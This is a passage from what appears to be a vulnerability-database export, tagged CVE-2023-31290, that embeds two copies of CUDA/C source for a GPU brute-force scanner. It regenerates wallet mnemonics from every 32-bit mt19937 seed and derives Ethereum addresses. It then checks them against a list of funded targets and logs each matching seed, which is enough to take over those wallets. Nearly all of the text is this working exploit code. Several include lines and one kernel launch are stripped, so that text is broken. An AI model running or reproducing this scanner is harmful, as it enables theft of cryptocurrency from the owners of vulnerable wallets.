^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &clen, &pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &ulen, &pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic atomic_uint_fast64_t g_done, g_hits;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        atomic_fetch_add(&g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      atomic_fetch_add(&g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  atomic_fetch_add(&g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev > 0 ? ndev : 1);\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s < my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n > my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = atomic_load(&g_done);\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, atomic_load(&g_hits), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", atomic_load(&g_hits));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-03T23:53:35.494454Z"}, {"uuid": "64127b28-dd23-48ba-83a3-25cb60a19fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/6a1f1230ac888b81f0804c0ff27cf1db", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      